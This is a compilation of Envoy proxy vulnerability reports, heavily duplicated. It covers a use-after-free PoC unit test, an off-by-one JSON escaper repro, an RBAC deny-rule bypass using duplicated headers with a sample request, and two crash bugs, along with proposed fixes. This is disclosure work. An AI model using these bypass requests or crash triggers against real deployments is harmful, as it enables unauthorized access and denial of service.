  // In a secure/patched implementation, this EXPECT_CALL should fail (Times(0)).
  EXPECT_CALL(*filter, decodeData(_, _))
      .Times(1)
      .WillOnce(Invoke([&](Buffer::Instance&, bool) -> FilterDataStatus {
          ENVOY_LOG_MISC(error, "!!! VULNERABILITY REPRODUCED: decodeData called on a reset stream !!!");
          return FilterDataStatus::Continue;
      }));

  EXPECT_CALL(*filter, decodeHeaders(_, false))
      .WillOnce(Return(FilterHeadersStatus::StopIteration));

  // Register the filter
  EXPECT_CALL(filter_factory_, createFilterChain(_))
      .WillOnce(Invoke([&](FilterChainFactoryCallbacks& callbacks) -> bool {
        auto factory = createDecoderFilterFactoryCb(filter);
        callbacks.setFilterConfigName("vulnerable_filter");
        factory(callbacks);
        return true;
      }));

  // 2. Start the stream
  EXPECT_CALL(*codec_, dispatch(_))
      .WillOnce(Invoke([&](Buffer::Instance&) -> Http::Status {
        decoder_ = &conn_manager_->newStream(response_encoder_);
        RequestHeaderMapPtr headers{new TestRequestHeaderMapImpl{
            {":authority", "host"}, {":path", "/"}, {":method", "POST"}}};
        decoder_->decodeHeaders(std::move(headers), false);
        return Http::okStatus();
      }));

  // Dispatch headers
  Buffer::OwnedImpl header_buffer("headers");
  conn_manager_->onData(header_buffer, false);

  // 3. Trigger a Reset on the ActiveStream
  // This simulates Envoy terminating the stream due to an external event (Overload, Timeout).
  auto* active_stream = dynamic_cast<ConnectionManagerImpl::ActiveStream*>(decoder_);
  
  // This sets state_.saw_downstream_reset_ = true and triggers filter->onDestroy()
  active_stream->onResetStream(StreamResetReason::LocalReset, "simulated_overload");

  // 4. Attack: Send DATA to the "Zombie" stream
  // The ActiveStream object is still alive in the deferred delete list.
  Buffer::OwnedImpl malicious_payload("attacker_data");
   
  // This call reaches the filter because FilterManager::decodeData misses the check!
  active_stream->decodeData(malicious_payload, false);
}

} // namespace Http
} // namespace Envoy

Summary

An off-by-one write in Envoy::JsonEscaper::escapeString() can corrupt std::string null-termination, causing undefined behavior and potentially leading to crashes or out-of-bounds reads when the resulting string is later treated as a C-string.

Details

The bug is in the control-character escaping path in source/common/common/ json_escape_string.h:67.

• The function pre-sizes result to the final length: std::string result(input.size() + required_size, '\');
• For control characters (0x00..0x1f), it emits a JSON escape sequence of length 6: \u00XX.
• It uses sprintf(&result[position + 1], "u%04x", ...), which writes 5 chars + a trailing NUL (\0) starting at result[position + 1].
• Then it does position += 6; and writes result[position] = '\'; to overwrite the NUL.
• If the control character occurs at the end of the output (e.g., the input ends with \x01), then after position += 6, position == result.size(), so result[position] is one past the end (off-by-one), violating std::string bounds/contract.

Concretely, the problematic lines are:

• source/common/common/json_escape_string.h:69 (sprintf(...))
• source/common/common/json_escape_string.h:72 (result[position] = '\';)

Potentially reachable from request-driven paths that escape untrusted data, e.g. invalid header reporting:

• source/common/http/header_utility.cc:538 ~ source/common/http/ header_utility.cc:546 (escapes invalid header key for error text)

Even when this doesn’t immediately crash, it can break the std::string requirement that c_str()[size()] == '\0', which can later trigger UB (e.g., if passed to strlen, printf("%s"), or any C API that expects NUL termination).

//clang++ -std=c++20 -O0 -g -fsanitize=address -fno-omit-frame-pointer
repro_json_escape_asan.cc -o repro_json_escape_asan
ASAN_OPTIONS=abort_on_error=1 ./repro_json_escape_asan
#include <cstdint>
#include <cstdio>
#include <cstring>
#include <string>
#include <string_view>

static uint64_t extraSpace(std::string_view input) {
  uint64_t result = 0;
  for (unsigned char c : input) {
    switch (c) {
    case '\"':
    case '\\':
    case '\b':
    case '\f':
    case '\n':
    case '\r':
    case '\t':
      result += 1;
      break;
    default:
      if (c == 0x00 || (c > 0x00 && c <= 0x1f)) {
        result += 5;
      }
      break;
    }
  }
  return result;
}

static std::string escapeString(std::string_view input, uint64_t
required_size) {
  std::string result(input.size() + required_size, '\\');
  uint64_t position = 0;

  for (unsigned char character : input) {
    switch (character) {
    case '\"':
      result[position + 1] = '\"';
      position += 2;
      break;
    case '\\':
      position += 2;
      break;
    case '\b':
      result[position + 1] = 'b';
      position += 2;
      break;
    case '\f':
      result[position + 1] = 'f';
      position += 2;
      break;
    case '\n':
      result[position + 1] = 'n';
      position += 2;
      break;
    case '\r':
      result[position + 1] = 'r';
      position += 2;
      break;
    case '\t':
      result[position + 1] = 't';
      position += 2;
      break;
    default:
      if (character == 0x00 || (character > 0x00 && character <= 0x1f)) {
        std::sprintf(&result[position + 1], "u%04x",
static_cast<int>(character));
        position += 6;
        // Off-by-one when this escape is the last output chunk:
        // position can become result.size(), so result[position] is out of
bounds.
        result[position] = '\\';
      } else {
        result[position++] = static_cast<char>(character);
      }
      break;
    }
  }

  return result;
}

int main() {
  std::string input(4096, 'A');
  input.push_back('\x01'); // ends with a control char -> triggers the buggy
path at the end

  const uint64_t required = extraSpace(input);
  std::string escaped = escapeString(input, required);

  std::printf("escaped.size=%zu\n", escaped.size());
  unsigned char terminator = static_cast<unsigned char>(escaped.c_str()
[escaped.size()]);
  std::printf("escaped.c_str()[escaped.size()] = 0x%02x\n", terminator);

  // If NUL termination is corrupted, this can read past the logical end.
  std::printf("strlen(escaped.c_str()) = %zu\n",
std::strlen(escaped.c_str()));
  return 0;
}```

1. Summary

The Envoy RBAC (Role-Based Access Control) filter contains a logic vulnerability in how it validates HTTP headers when multiple values are present for the same header name. Instead of validating each header value individually, Envoy concatenates all values into a single comma-separated string. This behavior allows attackers to bypass RBAC policies—specifically "Deny" rules—by sending duplicate headers, effectively obscuring the malicious value from exact-match mechanisms.

2. Attack Scenario

Consider an environment where an administrator wants to block external access to internal resources using a specific header flag.

Configuration

The Envoy proxy is configured with a Deny rule to reject requests containing the header internal: true.

• Rule Type: Exact Match
• Target: internal header must not equal true.

The Bypass Logic

1. Standard Request (Blocked):

   • Input: internal: true
   • Envoy Processing: Sees string "true".
   • Result: Match found. Request Denied.

2. Exploit Request (Bypassed):

   • Input:

     internal: true
     internal: true
     

   • Envoy Processing: Concatenates values into "true,true".
   • Matcher Evaluation: Does "true,true" equal "true"? No.
   • Result: The Deny rule fails to trigger. Request Allowed.

3. Implications

• RBAC Bypass: Remote attackers can bypass configured access controls.
• Unauthorized Access: Sensitive internal resources or administrative endpoints protected by header-based Deny rules become accessible.
• Risk: High, particularly for deployments relying on "Exact Match" strategies for security blocking.

4. Reproduction Steps

To verify this vulnerability:

1. Deploy Envoy: Configure an instance with an RBAC Deny rule that performs an exact match on a specific header (e.g., internal: true).
2. Baseline Test: Send a request containing the header internal: true.
   • Observation: Envoy blocks this request (HTTP 403).
3. Exploit Test: Send a second request containing the same header twice:

   GET /restricted-resource HTTP/1.1
   Host: example.com
   internal: true
   internal: true
   

   • Observation: Envoy allows the request, granting access to the resource.

6. Recommendations

Fix Header Validation Logic: Modify the RBAC filter to validate each header value instance individually. Avoid relying on the concatenated string output of getAllOfHeaderAsString() for security-critical matching unless the matcher is explicitly designed to parse comma-separated lists.

** Examine the DENY role to use a Regex style fix.

Credit: Dor Konis

Summary

Calling Utility::getAddressWithPort with a scoped IPv6 addresses causes a crash. This utility is called in the data plane from the original_src filter and the dns filter.

Details

The crashing function is Utility::getAddressWithPort. The crash occurs if a string containing a scoped IPv6 address is passed to this function.

This vulnerability affects:

1. The original src filter: If the filter is configured and the original source is a scoped IPv6 address, it will cause a crash.
2. DNS response address resolution: If a DNS response contains a scoped IPv6 address, this will also trigger the crash.

PoC

To reproduce the vulnerability:

1. Method A (Original Src Filter): Configure the original src filter in Envoy and provide a scoped IPv6 address as the original source.
2. Method B (DNS Resolution): Trigger a DNS resolution process within Envoy where the DNS response contains a scoped IPv6 address.

Impact

This is a Denial of Service (DoS) vulnerability. It impacts users who have the original src filter configured or whose Envoy instances resolve addresses from DNS responses that may contain scoped IPv6 addresses.

Summary

At the rate limit filter, if we enabled the response phase limit with apply_on_stream_done in the rate limit configuration and the response phase limit request fails directly, it may crash Envoy.

Details

When both the request phase limit and response phase limit are enabled, the safe gRPC client instance will be re-used for both the request phase request and response phase request.

But after the request phase request is done, the inner state of the request phase limit request in gRPC client is not cleaned up. When we send the second limit request at response phase, and the second limit request fails directly, we may access the previous request's inner state and result in crash.

PoC

This need to mock the network failure. But we have reproduced by unit test locally.

Impact

This only happens when both the request phase limit and response phase limit are enabled in the rate limit filter, and requires the request to rate limit service fails directly (For example, if from Envoy's perspective, no healthy endpoint for rate limit service may result the request fails directly). That's say, not easy to trigger this.

To workaround

This could be worked around by splitting the rate limit filter. That is, if there is a rate limit filter that contains normal rate limit configuration (request phase limit, without apply_on_stream_done) and also rate limit configuration with apply_on_stream_done (response phase limit). Splitting them into two rate limit filters and ensure one filter only contains normal rate limit configuration (without apply_on_stream_done), and one only contains rate limit configuration with apply_on_stream_done could avoid this problem.

Credit

Mandar Jog (mandarjog@gmail.com)

Note: This vulnerability was originally reported to the Google OSS VRP (Issue ID: 477542544). The Google Security Team requested that I coordinate directly with the Envoy maintainers for triage and remediation. I am submitting this report here to facilitate that process.

Technical Details I have identified a logic vulnerability in Envoy's HTTP connection manager (FilterManager) that allows for Zombie Stream Filter Execution. This issue creates a "Use-After-Free" (UAF) or state-corruption window where filter callbacks are invoked on an HTTP stream that has already been logically reset and cleaned up.

Mechanism: The vulnerability resides in source/common/http/filter_manager.cc within the FilterManager::decodeData method.

When an HTTP/2 stream encounters a reset condition (e.g., StreamIdleTimeout, OverloadManager limits, or a local reset triggered by a filter), Envoy calls onResetStream. This method:

1. Sets the internal state state_.saw_downstream_reset_ = true.
2. Invokes onDestroy() on all filters in the chain (allowing them to release resources/pointers).
3. Schedules the ActiveStream object for deferred deletion (cleanup happens later in the event loop).

The Flaw: The ActiveStream object remains valid in memory during the deferred deletion window. If a DATA frame arrives on this stream immediately after the reset (e.g., in the same packet processing cycle), the HTTP/2 codec invokes ActiveStream::decodeData, which cascades to FilterManager::decodeData.

FilterManager::decodeData fails to check the saw_downstream_reset_ flag. It iterates over the decoder_filters_ list and invokes decodeData() on filters that have already received onDestroy().

Root Cause Code Location: File: source/common/http/filter_manager.cc Function: FilterManager::decodeData

void FilterManager::decodeData(...) {
  if (stopDecoderFilterChain()) { return; }

  // Vulnerability: Missing check for state_.saw_downstream_reset_
  // Execution proceeds into the loop even if the stream is logically dead.

  auto trailers_added_entry = decoder_filters_.end();
  for (; entry != decoder_filters_.end(); entry++) {
      // ... calls (*entry)->handle_->decodeData(data) on destroyed filters ...
  }
}

Suggested Fix: Add an explicit state check at the beginning of FilterManager::decodeData.

// Prevent execution on streams that have been reset but not yet destroyed.
if (state_.saw_downstream_reset_) {
  return;
}

Impact Analysis

Who can exploit this: Any remote attacker capable of establishing an HTTP/2 or HTTP/3 connection. No privileges/authentication required.

Impact & Gain: 1. Memory Corruption & Potential Remote Code Execution: While the immediate symptom is a crash (DoS), the underlying primitive is a Use-After-Free (CWE-416).

• Mechanism: When onDestroy() is called on filters (e.g., Lua, Wasm, or complex native filters), they release internal structures and invalidate pointers.
• Exploitation: By forcing decodeData() to execute on these now-freed objects, an attacker triggers undefined behavior. In a heap-groomed environment, an attacker could potentially replace the freed filter object with a malicious payload before the "Zombie" decodeData call occurs. This would allow for vtable hijacking or arbitrary write-what-where primitives, leading to Remote Code Execution (RCE).
• Risk Amplification: This is particularly dangerous for Envoy deployments using memory-unsafe extensions or third-party filters (C++ extensions), where onDestroy logic is relied upon for safety.

2. Security Control Bypass: The vulnerability defeats Envoy's "Fail-Closed" security architecture.

• Scenario: If a stream is reset due to a security violation (e.g., StreamIdleTimeout, OverloadManager rejection, or WAF triggering), this vulnerability allows the attacker to bypass the termination.
• Result: The attacker can force the processing of "Data" frames on a connection that the security policy explicitly attempted to close, allowing malicious payloads to reach deeper into the filter chain or backend services despite the rejection.

Proof of Concept (Unit Test)

Description: The attached C++ unit test (zombie_stream_poc_test.cc) deterministically reproduces the vulnerability. It creates a stream, manually triggers a reset (simulating an Overload), and then immediately injects a DATA frame. The test asserts that the filter's decodeData callback is invoked on the reset stream.

#include "test/common/http/conn_manager_impl_test_base.h"
#include "gmock/gmock.h"
#include "gtest/gtest.h"

using testing::_;
using testing::Invoke;
using testing::NiceMock;
using testing::Return;

namespace Envoy {
namespace Http {

/**
 * Proof of Concept for "Zombie Stream Filter Execution" (HTTP/2 Reset Re-entrancy)
 * * Logic flow:
 * 1. Open a stream with HEADERS.
 * 2. Force a stream reset (simulating an Overload or Timeout).
 * 3. Immediately inject DATA into the stream.
 * 4. ASSERT that the filter's decodeData is called despite the stream being reset.
 */
class ZombieStreamPocTest : public HttpConnectionManagerImplTest {
};

TEST_F(ZombieStreamPocTest, ReproducedZombieFilterExecution) {
  setup(SetupOpts().setTracing(false));

  // 1. Setup a mock filter
  std::shared_ptr<MockStreamDecoderFilter> filter(new NiceMock<MockStreamDecoderFilter>());
   
  // Vuln confirmation:
  // We expect decodeData to be called on this filter even though the stream is reset.
  // In a secure/patched implementation, this EXPECT_CALL should fail (Times(0)).
  EXPECT_CALL(*filter, decodeData(_, _))
      .Times(1)
      .WillOnce(Invoke([&](Buffer::Instance&, bool) -> FilterDataStatus {
          ENVOY_LOG_MISC(error, "!!! VULNERABILITY REPRODUCED: decodeData called on a reset stream !!!");
          return FilterDataStatus::Continue;
      }));

  EXPECT_CALL(*filter, decodeHeaders(_, false))
      .WillOnce(Return(FilterHeadersStatus::StopIteration));

  // Register the filter
  EXPECT_CALL(filter_factory_, createFilterChain(_))
      .WillOnce(Invoke([&](FilterChainFactoryCallbacks& callbacks) -> bool {
        auto factory = createDecoderFilterFactoryCb(filter);
        callbacks.setFilterConfigName("vulnerable_filter");
        factory(callbacks);
        return true;
      }));

  // 2. Start the stream
  EXPECT_CALL(*codec_, dispatch(_))
      .WillOnce(Invoke([&](Buffer::Instance&) -> Http::Status {
        decoder_ = &conn_manager_->newStream(response_encoder_);
        RequestHeaderMapPtr headers{new TestRequestHeaderMapImpl{
            {":authority", "host"}, {":path", "/"}, {":method", "POST"}}};
        decoder_->decodeHeaders(std::move(headers), false);
        return Http::okStatus();
      }));

  // Dispatch headers
  Buffer::OwnedImpl header_buffer("headers");
  conn_manager_->onData(header_buffer, false);

  // 3. Trigger a Reset on the ActiveStream
  // This simulates Envoy terminating the stream due to an external event (Overload, Timeout).
  auto* active_stream = dynamic_cast<ConnectionManagerImpl::ActiveStream*>(decoder_);
  
  // This sets state_.saw_downstream_reset_ = true and triggers filter->onDestroy()
  active_stream->onResetStream(StreamResetReason::LocalReset, "simulated_overload");

  // 4. Attack: Send DATA to the "Zombie" stream
  // The ActiveStream object is still alive in the deferred delete list.
  Buffer::OwnedImpl malicious_payload("attacker_data");
   
  // This call reaches the filter because FilterManager::decodeData misses the check!
  active_stream->decodeData(malicious_payload, false);
}

} // namespace Http
} // namespace Envoy

Summary

An off-by-one write in Envoy::JsonEscaper::escapeString() can corrupt std::string null-termination, causing undefined behavior and potentially leading to crashes or out-of-bounds reads when the resulting string is later treated as a C-string.

Details

The bug is in the control-character escaping path in source/common/common/ json_escape_string.h:67.

• The function pre-sizes result to the final length: std::string result(input.size() + required_size, '\');
• For control characters (0x00..0x1f), it emits a JSON escape sequence of length 6: \u00XX.
• It uses sprintf(&result[position + 1], "u%04x", ...), which writes 5 chars + a trailing NUL (\0) starting at result[position + 1].
• Then it does position += 6; and writes result[position] = '\'; to overwrite the NUL.
• If the control character occurs at the end of the output (e.g., the input ends with \x01), then after position += 6, position == result.size(), so result[position] is one past the end (off-by-one), violating std::string bounds/contract.

Concretely, the problematic lines are:

• source/common/common/json_escape_string.h:69 (sprintf(...))
• source/common/common/json_escape_string.h:72 (result[position] = '\';)

Potentially reachable from request-driven paths that escape untrusted data, e.g. invalid header reporting:

• source/common/http/header_utility.cc:538 ~ source/common/http/ header_utility.cc:546 (escapes invalid header key for error text)

Even when this doesn’t immediately crash, it can break the std::string requirement that c_str()[size()] == '\0', which can later trigger UB (e.g., if passed to strlen, printf("%s"), or any C API that expects NUL termination).

//clang++ -std=c++20 -O0 -g -fsanitize=address -fno-omit-frame-pointer
repro_json_escape_asan.cc -o repro_json_escape_asan
ASAN_OPTIONS=abort_on_error=1 ./repro_json_escape_asan
#include <cstdint>
#include <cstdio>
#include <cstring>
#include <string>
#include <string_view>

static uint64_t extraSpace(std::string_view input) {
  uint64_t result = 0;
  for (unsigned char c : input) {
    switch (c) {
    case '\"':
    case '\\':
    case '\b':
    case '\f':
    case '\n':
    case '\r':
    case '\t':
      result += 1;
      break;
    default:
      if (c == 0x00 || (c > 0x00 && c <= 0x1f)) {
        result += 5;
      }
      break;
    }
  }
  return result;
}

static std::string escapeString(std::string_view input, uint64_t
required_size) {
  std::string result(input.size() + required_size, '\\');
  uint64_t position = 0;

  for (unsigned char character : input) {
    switch (character) {
    case '\"':
      result[position + 1] = '\"';
      position += 2;
      break;
    case '\\':
      position += 2;
      break;
    case '\b':
      result[position + 1] = 'b';
      position += 2;
      break;
    case '\f':
      result[position + 1] = 'f';
      position += 2;
      break;
    case '\n':
      result[position + 1] = 'n';
      position += 2;
      break;
    case '\r':
      result[position + 1] = 'r';
      position += 2;
      break;
    case '\t':
      result[position + 1] = 't';
      position += 2;
      break;
    default:
      if (character == 0x00 || (character > 0x00 && character <= 0x1f)) {
        std::sprintf(&result[position + 1], "u%04x",
static_cast<int>(character));
        position += 6;
        // Off-by-one when this escape is the last output chunk:
        // position can become result.size(), so result[position] is out of
bounds.
        result[position] = '\\';
      } else {
        result[position++] = static_cast<char>(character);
      }
      break;
    }
  }

  return result;
}

int main() {
  std::string input(4096, 'A');
  input.push_back('\x01'); // ends with a control char -> triggers the buggy
path at the end

  const uint64_t required = extraSpace(input);
  std::string escaped = escapeString(input, required);

  std::printf("escaped.size=%zu\n", escaped.size());
  unsigned char terminator = static_cast<unsigned char>(escaped.c_str()
[escaped.size()]);
  std::printf("escaped.c_str()[escaped.size()] = 0x%02x\n", terminator);

  // If NUL termination is corrupted, this can read past the logical end.
  std::printf("strlen(escaped.c_str()) = %zu\n",
std::strlen(escaped.c_str()));
  return 0;
}```

1. Summary

The Envoy RBAC (Role-Based Access Control) filter contains a logic vulnerability in how it validates HTTP headers when multiple values are present for the same header name. Instead of validating each header value individually, Envoy concatenates all values into a single comma-separated string. This behavior allows attackers to bypass RBAC policies—specifically "Deny" rules—by sending duplicate headers, effectively obscuring the malicious value from exact-match mechanisms.

2. Attack Scenario

Consider an environment where an administrator wants to block external access to internal resources using a specific header flag.

Configuration

The Envoy proxy is configured with a Deny rule to reject requests containing the header internal: true.

• Rule Type: Exact Match
• Target: internal header must not equal true.

The Bypass Logic

1. Standard Request (Blocked):

   • Input: internal: true
   • Envoy Processing: Sees string "true".
   • Result: Match found. Request Denied.

2. Exploit Request (Bypassed):

   • Input:

     internal: true
     internal: true
     

   • Envoy Processing: Concatenates values into "true,true".
   • Matcher Evaluation: Does "true,true" equal "true"? No.
   • Result: The Deny rule fails to trigger. Request Allowed.

3. Implications

• RBAC Bypass: Remote attackers can bypass configured access controls.
• Unauthorized Access: Sensitive internal resources or administrative endpoints protected by header-based Deny rules become accessible.
• Risk: High, particularly for deployments relying on "Exact Match" strategies for security blocking.

4. Reproduction Steps

To verify this vulnerability:

1. Deploy Envoy: Configure an instance with an RBAC Deny rule that performs an exact match on a specific header (e.g., internal: true).
2. Baseline Test: Send a request containing the header internal: true.
   • Observation: Envoy blocks this request (HTTP 403).
3. Exploit Test: Send a second request containing the same header twice:

   GET /restricted-resource HTTP/1.1
   Host: example.com
   internal: true
   internal: true
   

   • Observation: Envoy allows the request, granting access to the resource.

6. Recommendations

Fix Header Validation Logic: Modify the RBAC filter to validate each header value instance individually. Avoid relying on the concatenated string output of getAllOfHeaderAsString() for security-critical matching unless the matcher is explicitly designed to parse comma-separated lists.

** Examine the DENY role to use a Regex style fix.

Credit: Dor Konis

Summary

Calling Utility::getAddressWithPort with a scoped IPv6 addresses causes a crash. This utility is called in the data plane from the original_src filter and the dns filter.

Details

The crashing function is Utility::getAddressWithPort. The crash occurs if a string containing a scoped IPv6 address is passed to this function.

This vulnerability affects:

1. The original src filter: If the filter is configured and the original source is a scoped IPv6 address, it will cause a crash.
2. DNS response address resolution: If a DNS response contains a scoped IPv6 address, this will also trigger the crash.

PoC

To reproduce the vulnerability:

1. Method A (Original Src Filter): Configure the original src filter in Envoy and provide a scoped IPv6 address as the original source.
2. Method B (DNS Resolution): Trigger a DNS resolution process within Envoy where the DNS response contains a scoped IPv6 address.

Impact

This is a Denial of Service (DoS) vulnerability. It impacts users who have the original src filter configured or whose Envoy instances resolve addresses from DNS responses that may contain scoped IPv6 addresses.

Summary

At the rate limit filter, if we enabled the response phase limit with apply_on_stream_done in the rate limit configuration and the response phase limit request fails directly, it may crash Envoy.

Details

When both the request phase limit and response phase limit are enabled, the safe gRPC client instance will be re-used for both the request phase request and response phase request.

But after the request phase request is done, the inner state of the request phase limit request in gRPC client is not cleaned up. When we send the second limit request at response phase, and the second limit request fails directly, we may access the previous request's inner state and result in crash.

PoC

This need to mock the network failure. But we have reproduced by unit test locally.

Impact

This only happens when both the request phase limit and response phase limit are enabled in the rate limit filter, and requires the request to rate limit service fails directly (For example, if from Envoy's perspective, no healthy endpoint for rate limit service may result the request fails directly). That's say, not easy to trigger this.

To workaround

This could be worked around by splitting the rate limit filter. That is, if there is a rate limit filter that contains normal rate limit configuration (request phase limit, without apply_on_stream_done) and also rate limit configuration with apply_on_stream_done (response phase limit). Splitting them into two rate limit filters and ensure one filter only contains normal rate limit configuration (without apply_on_stream_done), and one only contains rate limit configuration with apply_on_stream_done could avoid this problem.

Credit

Mandar Jog (mandarjog@gmail.com)

Note: This vulnerability was originally reported to the Google OSS VRP (Issue ID: 477542544). The Google Security Team requested that I coordinate directly with the Envoy maintainers for triage and remediation. I am submitting this report here to facilitate that process.

Technical Details I have identified a logic vulnerability in Envoy's HTTP connection manager (FilterManager) that allows for Zombie Stream Filter Execution. This issue creates a "Use-After-Free" (UAF) or state-corruption window where filter callbacks are invoked on an HTTP stream that has already been logically reset and cleaned up.

Mechanism: The vulnerability resides in source/common/http/filter_manager.cc within the FilterManager::decodeData method.

When an HTTP/2 stream encounters a reset condition (e.g., StreamIdleTimeout, OverloadManager limits, or a local reset triggered by a filter), Envoy calls onResetStream. This method:

1. Sets the internal state state_.saw_downstream_reset_ = true.
2. Invokes onDestroy() on all filters in the chain (allowing them to release resources/pointers).
3. Schedules the ActiveStream object for deferred deletion (cleanup happens later in the event loop).

The Flaw: The ActiveStream object remains valid in memory during the deferred deletion window. If a DATA frame arrives on this stream immediately after the reset (e.g., in the same packet processing cycle), the HTTP/2 codec invokes ActiveStream::decodeData, which cascades to FilterManager::decodeData.

FilterManager::decodeData fails to check the saw_downstream_reset_ flag. It iterates over the decoder_filters_ list and invokes decodeData() on filters that have already received onDestroy().

Root Cause Code Location: File: source/common/http/filter_manager.cc Function: FilterManager::decodeData

void FilterManager::decodeData(...) {
  if (stopDecoderFilterChain()) { return; }

  // Vulnerability: Missing check for state_.saw_downstream_reset_
  // Execution proceeds into the loop even if the stream is logically dead.

  auto trailers_added_entry = decoder_filters_.end();
  for (; entry != decoder_filters_.end(); entry++) {
      // ... calls (*entry)->handle_->decodeData(data) on destroyed filters ...
  }
}

Suggested Fix: Add an explicit state check at the beginning of FilterManager::decodeData.

// Prevent execution on streams that have been reset but not yet destroyed.
if (state_.saw_downstream_reset_) {
  return;
}

Impact Analysis

Who can exploit this: Any remote attacker capable of establishing an HTTP/2 or HTTP/3 connection. No privileges/authentication required.

Impact & Gain: 1. Memory Corruption & Potential Remote Code Execution: While the immediate symptom is a crash (DoS), the underlying primitive is a Use-After-Free (CWE-416).

• Mechanism: When onDestroy() is called on filters (e.g., Lua, Wasm, or complex native filters), they release internal structures and invalidate pointers.
• Exploitation: By forcing decodeData() to execute on these now-freed objects, an attacker triggers undefined behavior. In a heap-groomed environment, an attacker could potentially replace the freed filter object with a malicious payload before the "Zombie" decodeData call occurs. This would allow for vtable hijacking or arbitrary write-what-where primitives, leading to Remote Code Execution (RCE).
• Risk Amplification: This is particularly dangerous for Envoy deployments using memory-unsafe extensions or third-party filters (C++ extensions), where onDestroy logic is relied upon for safety.

2. Security Control Bypass: The vulnerability defeats Envoy's "Fail-Closed" security architecture.

• Scenario: If a stream is reset due to a security violation (e.g., StreamIdleTimeout, OverloadManager rejection, or WAF triggering), this vulnerability allows the attacker to bypass the termination.
• Result: The attacker can force the processing of "Data" frames on a connection that the security policy explicitly attempted to close, allowing malicious payloads to reach deeper into the filter chain or backend services despite the rejection.

Proof of Concept (Unit Test)

Description: The attached C++ unit test (zombie_stream_poc_test.cc) deterministically reproduces the vulnerability. It creates a stream, manually triggers a reset (simulating an Overload), and then immediately injects a DATA frame. The test asserts that the filter's decodeData callback is invoked on the reset stream.

#include "test/common/http/conn_manager_impl_test_base.h"
#include "gmock/gmock.h"
#include "gtest/gtest.h"

using testing::_;
using testing::Invoke;
using testing::NiceMock;
using testing::Return;

namespace Envoy {
namespace Http {

/**
 * Proof of Concept for "Zombie Stream Filter Execution" (HTTP/2 Reset Re-entrancy)
 * * Logic flow:
 * 1. Open a stream with HEADERS.
 * 2. Force a stream reset (simulating an Overload or Timeout).
 * 3. Immediately inject DATA into the stream.
 * 4. ASSERT that the filter's decodeData is called despite the stream being reset.
 */
class ZombieStreamPocTest : public HttpConnectionManagerImplTest {
};

TEST_F(ZombieStreamPocTest, ReproducedZombieFilterExecution) {
  setup(SetupOpts().setTracing(false));

  // 1. Setup a mock filter
  std::shared_ptr<MockStreamDecoderFilter> filter(new NiceMock<MockStreamDecoderFilter>());
   
  // Vuln confirmation:
  // We expect decodeData to be called on this filter even though the stream is reset.
  // In a secure/patched implementation, this EXPECT_CALL should fail (Times(0)).
  EXPECT_CALL(*filter, decodeData(_, _))
      .Times(1)
      .WillOnce(Invoke([&](Buffer::Instance&, bool) -> FilterDataStatus {
          ENVOY_LOG_MISC(error, "!!! VULNERABILITY REPRODUCED: decodeData called on a reset stream !!!");
          return FilterDataStatus::Continue;
      }));

  EXPECT_CALL(*filter, decodeHeaders(_, false))
      .WillOnce(Return(FilterHeadersStatus::StopIteration));

  // Register the filter
  EXPECT_CALL(filter_factory_, createFilterChain(_))
      .WillOnce(Invoke([&](FilterChainFactoryCallbacks& callbacks) -> bool {
        auto factory = createDecoderFilterFactoryCb(filter);
        callbacks.setFilterConfigName("vulnerable_filter");
        factory(callbacks);
        return true;
      }));

  // 2. Start the stream
  EXPECT_CALL(*codec_, dispatch(_))
      .WillOnce(Invoke([&](Buffer::Instance&) -> Http::Status {
        decoder_ = &conn_manager_->newStream(response_encoder_);
        RequestHeaderMapPtr headers{new TestRequestHeaderMapImpl{
            {":authority", "host"}, {":path", "/"}, {":method", "POST"}}};
        decoder_->decodeHeaders(std::move(headers), false);
        return Http::okStatus();
      }));

  // Dispatch headers
  Buffer::OwnedImpl header_buffer("headers");
  conn_manager_->onData(header_buffer, false);

  // 3. Trigger a Reset on the ActiveStream
  // This simulates Envoy terminating the stream due to an external event (Overload, Timeout).
  auto* active_stream = dynamic_cast<ConnectionManagerImpl::ActiveStream*>(decoder_);
  
  // This sets state_.saw_downstream_reset_ = true and triggers filter->onDestroy()
  active_stream->onResetStream(StreamResetReason::LocalReset, "simulated_overload");

  // 4. Attack: Send DATA to the "Zombie" stream
  // The ActiveStream object is still alive in the deferred delete list.
  Buffer::OwnedImpl malicious_payload("attacker_data");
   
  // This call reaches the filter because FilterManager::decodeData misses the check!
  active_stream->decodeData(malicious_payload, false);
}

} // namespace Http
} // namespace Envoy

Summary

An off-by-one write in Envoy::JsonEscaper::escapeString() can corrupt std::string null-termination, causing undefined behavior and potentially leading to crashes or out-of-bounds reads when the resulting string is later treated as a C-string.

Details

The bug is in the control-character escaping path in source/common/common/ json_escape_string.h:67.

• The function pre-sizes result to the final length: std::string result(input.size() + required_size, '\');
• For control characters (0x00..0x1f), it emits a JSON escape sequence of length 6: \u00XX.
• It uses sprintf(&result[position + 1], "u%04x", ...), which writes 5 chars + a trailing NUL (\0) starting at result[position + 1].
• Then it does position += 6; and writes result[position] = '\'; to overwrite the NUL.
• If the control character occurs at the end of the output (e.g., the input ends with \x01), then after position += 6, position == result.size(), so result[position] is one past the end (off-by-one), violating std::string bounds/contract.

Concretely, the problematic lines are:

• source/common/common/json_escape_string.h:69 (sprintf(...))
• source/common/common/json_escape_string.h:72 (result[position] = '\';)

Potentially reachable from request-driven paths that escape untrusted data, e.g. invalid header reporting:

• source/common/http/header_utility.cc:538 ~ source/common/http/ header_utility.cc:546 (escapes invalid header key for error text)

Even when this doesn’t immediately crash, it can break the std::string requirement that c_str()[size()] == '\0', which can later trigger UB (e.g., if passed to strlen, printf("%s"), or any C API that expects NUL termination).

//clang++ -std=c++20 -O0 -g -fsanitize=address -fno-omit-frame-pointer
repro_json_escape_asan.cc -o repro_json_escape_asan
ASAN_OPTIONS=abort_on_error=1 ./repro_json_escape_asan
#include <cstdint>
#include <cstdio>
#include <cstring>
#include <string>
#include <string_view>

static uint64_t extraSpace(std::string_view input) {
  uint64_t result = 0;
  for (unsigned char c : input) {
    switch (c) {
    case '\"':
    case '\\':
    case '\b':
    case '\f':
    case '\n':
    case '\r':
    case '\t':
      result += 1;
      break;
    default:
      if (c == 0x00 || (c > 0x00 && c <= 0x1f)) {
        result += 5;
      }
      break;
    }
  }
  return result;
}

static std::string escapeString(std::string_view input, uint64_t
required_size) {
  std::string result(input.size() + required_size, '\\');
  uint64_t position = 0;

  for (unsigned char character : input) {
    switch (character) {
    case '\"':
      result[position + 1] = '\"';
      position += 2;
      break;
    case '\\':
      position += 2;
      break;
    case '\b':
      result[position + 1] = 'b';
      position += 2;
      break;
    case '\f':
      result[position + 1] = 'f';
      position += 2;
      break;
    case '\n':
